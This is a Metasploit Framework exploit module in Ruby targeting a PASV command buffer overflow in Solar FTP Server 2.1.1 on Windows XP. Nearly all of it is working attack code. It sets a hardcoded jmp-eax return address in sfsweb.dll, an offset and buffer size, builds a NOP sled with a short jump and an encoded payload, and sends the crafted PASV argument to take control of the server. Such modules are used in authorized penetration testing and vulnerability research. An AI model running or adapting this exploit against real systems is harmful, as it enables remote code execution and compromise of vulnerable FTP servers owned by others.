##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Ftp
	Rank = AverageRanking

	def initialize(info={})
		super(update_info(info,
			'Name'			=> 'Solar FTP 2.1.1 PASV Command Buffer Overflow',
			'Description'  	=> %q{
				This module exploits a Solar FTP 2.1.1 Server Buffer Overflow
				when passing an overly long argument to the PASV command. This
				vulnerability has been found by Craig Freyman and Gerardo Iglesias.
			},
			'Author' =>
			[
				#'Craig Freyman (@cd1zz) and Gerardo Iglesias (@iglesiasgg)',#Initial disclosure/PoC
				'Alberto Certo <ac3rto[at]gmail.com>',						#Metasploit module
			],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision$',
			'References'=>
			[
				[ 'OSVDB', '70439'],
				[ 'URL', 'http://www.exploit-db.com/exploits/17527/' ],
			],
			'Privileged'	=> true,
			'DefaultOptions'=>
			{
				'EXITFUNC' => 'process',
			},
			'Payload'=>
			{
				'Space'		=> 2000,
				'BadChars'	=> "\x00",
				'DisableNops' => true,
			},
			'Platform'	=> 'win',
			'Targets'	=>
			[
				# Tested on: Windows XP SP2/SP3 EN-FR
				[ 'Windows XP Universal',
					{
						'Ret' 		=> 0x1001bd23, 	# jmp eax in sfsweb.dll
						'Offset' 	=> 123,
						'BuffSize'	=> 2127,
					}
				],
			],
			'DefaultTarget'		=> 0,
			'DisclosureDate'	=> 'Jul 12 2011'))

			register_options(
			[
				Opt::RPORT(21)
			],self.class)
	end

	def check
		connect
		disconnect

		if (banner =~ /Solar FTP Server/)
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Safe

		rescue ::Exception => e
		print_error("An error has occured: #{e.to_s}")
	end

	def exploit

		connect_login
		print_status("Trying target #{target.name}...")

		# The RET address points to a JMP EAX that jumps at the beginning of a buffer
		# containing the forged PASV command below. However, the first 8 bytes are
		# overwritten with junk code. Depending on the generated NOP sled, the server
		# can crash due to non-readable instructions. We prepend then a string ("BEEFF")
		# to our sploit string to force making the junk code harmless.
		sploit  = "BEEFF" + make_nops(target['Offset']-7) + Rex::Arch::X86.jmp_short(4)
		sploit << [target.ret].pack('V')
		sploit << payload.encoded
		sploit << make_nops(target['BuffSize'] - sploit.length)

		send_cmd( ['PASV', sploit] , false)

		handler
		disconnect
	end
end
